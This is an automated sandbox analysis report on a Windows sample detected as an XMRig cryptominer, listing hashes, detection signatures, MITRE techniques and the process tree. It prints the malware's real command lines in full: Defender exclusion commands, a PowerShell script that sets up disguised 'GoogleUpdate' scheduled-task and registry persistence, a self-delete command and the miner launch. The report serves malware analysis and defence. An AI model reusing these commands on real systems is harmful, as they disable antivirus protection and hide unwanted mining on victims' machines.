xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
401s
max time network
1795s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2224 created 1232	2224	UU4Ddwqm5zcuLzGR.exe	9
PID 2224 created 1232	2224	UU4Ddwqm5zcuLzGR.exe	9
PID 2224 created 1232	2224	UU4Ddwqm5zcuLzGR.exe	9
PID 2224 created 1232	2224	UU4Ddwqm5zcuLzGR.exe	9
PID 312 created 1232	312	updater.exe	9
PID 312 created 1232	312	updater.exe	9
PID 312 created 1232	312	updater.exe	9
PID 312 created 1232	312	updater.exe	9
PID 2604 created 1232	2604	conhost.exe	9
PID 312 created 1232	312	updater.exe	9

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral25/memory/2488-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2488-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2868	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
312	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
3056	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral25/memory/2488-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2488-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 312 set thread context of 2604	312	updater.exe	52
PID 312 set thread context of 2488	312	updater.exe	45

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UU4Ddwqm5zcuLzGR.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2264	schtasks.exe
348	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
628	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80c429a8874eda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2224	UU4Ddwqm5zcuLzGR.exe
2224	UU4Ddwqm5zcuLzGR.exe
3044	powershell.exe
2224	UU4Ddwqm5zcuLzGR.exe
2224	UU4Ddwqm5zcuLzGR.exe
2764	powershell.exe
2224	UU4Ddwqm5zcuLzGR.exe
2224	UU4Ddwqm5zcuLzGR.exe
2224	UU4Ddwqm5zcuLzGR.exe
2224	UU4Ddwqm5zcuLzGR.exe
2652	powershell.exe
312	updater.exe
312	updater.exe
3032	powershell.exe
312	updater.exe
312	updater.exe
2504	powershell.exe
312	updater.exe
312	updater.exe
312	updater.exe
312	updater.exe
2604	conhost.exe
2604	conhost.exe
312	updater.exe
312	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	312	updater.exe
Token: SeAssignPrimaryTokenPrivilege	628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	628	WMIC.exe
Token: SeSecurityPrivilege	628	WMIC.exe
Token: SeTakeOwnershipPrivilege	628	WMIC.exe
Token: SeLoadDriverPrivilege	628	WMIC.exe
Token: SeSystemtimePrivilege	628	WMIC.exe
Token: SeBackupPrivilege	628	WMIC.exe
Token: SeRestorePrivilege	628	WMIC.exe
Token: SeShutdownPrivilege	628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	628	WMIC.exe
Token: SeUndockPrivilege	628	WMIC.exe
Token: SeManageVolumePrivilege	628	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	628	WMIC.exe
Token: SeSecurityPrivilege	628	WMIC.exe
Token: SeTakeOwnershipPrivilege	628	WMIC.exe
Token: SeLoadDriverPrivilege	628	WMIC.exe
Token: SeSystemtimePrivilege	628	WMIC.exe
Token: SeBackupPrivilege	628	WMIC.exe
Token: SeRestorePrivilege	628	WMIC.exe
Token: SeShutdownPrivilege	628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	628	WMIC.exe
Token: SeUndockPrivilege	628	WMIC.exe
Token: SeManageVolumePrivilege	628	WMIC.exe
Token: SeLockMemoryPrivilege	2488	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2264	2764	powershell.exe	32
PID 2764 wrote to memory of 2264	2764	powershell.exe	32
PID 2764 wrote to memory of 2264	2764	powershell.exe	32
PID 2868 wrote to memory of 2752	2868	cmd.exe	33
PID 2868 wrote to memory of 2752	2868	cmd.exe	33
PID 2868 wrote to memory of 2752	2868	cmd.exe	33
PID 2652 wrote to memory of 2736	2652	powershell.exe	40
PID 2652 wrote to memory of 2736	2652	powershell.exe	40
PID 2652 wrote to memory of 2736	2652	powershell.exe	40
PID 3056 wrote to memory of 312	3056	taskeng.exe	39
PID 3056 wrote to memory of 312	3056	taskeng.exe	39
PID 3056 wrote to memory of 312	3056	taskeng.exe	39
PID 2504 wrote to memory of 348	2504	powershell.exe	53
PID 2504 wrote to memory of 348	2504	powershell.exe	53
PID 2504 wrote to memory of 348	2504	powershell.exe	53
PID 312 wrote to memory of 2604	312	updater.exe	52
PID 2664 wrote to memory of 628	2664	cmd.exe	47
PID 2664 wrote to memory of 628	2664	cmd.exe	47
PID 2664 wrote to memory of 628	2664	cmd.exe	47
PID 312 wrote to memory of 2488	312	updater.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1232
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2264
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:348
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2204
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2664
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2604

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2752

C:\Windows\system32\taskeng.exe
taskeng.exe {1417F4EA-D5FA-48EB-92F3-080CBB23D567} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:312

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
153KB

MD5
4c8538b8b91f8827abf2adb1b5372c0e

SHA1
10243e3c584e39bc2845ef09d88617891a4e62fd

SHA256
4ba4c2d2c2cec0ba0a3cbc45aa08f8f1543ae1cfdfd86bc571fbf37733856fc3

SHA512
c0c4146c7960400cd2f3b36561d186ac9d0240ccb1e04cb059b5947984a1db96e5655c2081c388649ffabc4c03cf5a06331cde8a8070e1decdbf08ffe5bcd352

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
242KB

MD5
df1ba54bd5ae1b8137b3ab28dd2e2ec8

SHA1
daec02cca280917d9add07c7b1ff626ec54c22b8

SHA256
b7f2b98be03c1b1b32e46295d4defcdf8c6c0aac182248ef291ce360cc5ae98f

SHA512
a974a5e06d94172888ae220b1ef2e4fd34bbb439fd60e917f368284b197713253bce6519e24657db2b007c95c6a3e9cf3ad0a93406543cac0c866042ff9c2053

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TK4KT691M15U9W154NRX.temp

Filesize
7KB

MD5
910c9daaa703e1db88214025989d742b

SHA1
19cdc531d31ebe9123df9193acfac6b1c9f56f52

SHA256
4bffd3ff7d23e8628ff8b92bd6dbfc7aa9decfe520f2af782f6cda78ba53375d

SHA512
9939f43bcd3c4280a505247a15bc5690d5d36e5d18d40adba21a4ad8ba68e9b693b5eb41c1cd24e134e36a5e3f14890a702dd9504dcdf03874e1b8380df5f813

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
113KB

MD5
b256cd8d8c0e10faa05c19289f390cfd

SHA1
b836d4cee233eeee390fd43a2a45400bb9d5bdf4

SHA256
7728b9bb6135278aa567e10bd82cc5208cede537225dbeb6b72fb61467e8d59f

SHA512
79831010ed88e3381014080c26f223d9d154b41f2167946134ef2d9ddefb43c85ef2e4dcacc1808c7bd62ffaaafd328087775bbb2a0768afcc6c76ff7397e7d0

Download Submit
memory/312-64-0x000000013FEF0000-0x0000000140101000-memory.dmp

Filesize
2.1MB

Download
memory/312-44-0x000000013FEF0000-0x0000000140101000-memory.dmp

Filesize
2.1MB

Download
memory/2224-0-0x000000013F300000-0x000000013F511000-memory.dmp

Filesize
2.1MB

Download
memory/2224-28-0x000000013F300000-0x000000013F511000-memory.dmp

Filesize
2.1MB

Download
memory/2488-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-73-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/2488-74-0x00000000002D0000-0x00000000002F0000-memory.dmp

Filesize
128KB

Download
memory/2488-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-68-0x00000000002D0000-0x00000000002F0000-memory.dmp

Filesize
128KB

Download
memory/2488-67-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/2488-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-65-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2488-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2504-55-0x00000000014A0000-0x0000000001520000-memory.dmp

Filesize
512KB

Download
memory/2504-56-0x00000000014A0000-0x0000000001520000-memory.dmp

Filesize
512KB

Download
memory/2504-53-0x00000000014A0000-0x0000000001520000-memory.dmp

Filesize
512KB

Download
memory/2504-57-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-54-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-52-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2604-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2652-36-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-40-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-39-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2652-34-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-38-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2652-37-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2652-35-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2764-24-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2764-19-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/2764-21-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2764-20-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-23-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2764-25-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2764-18-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
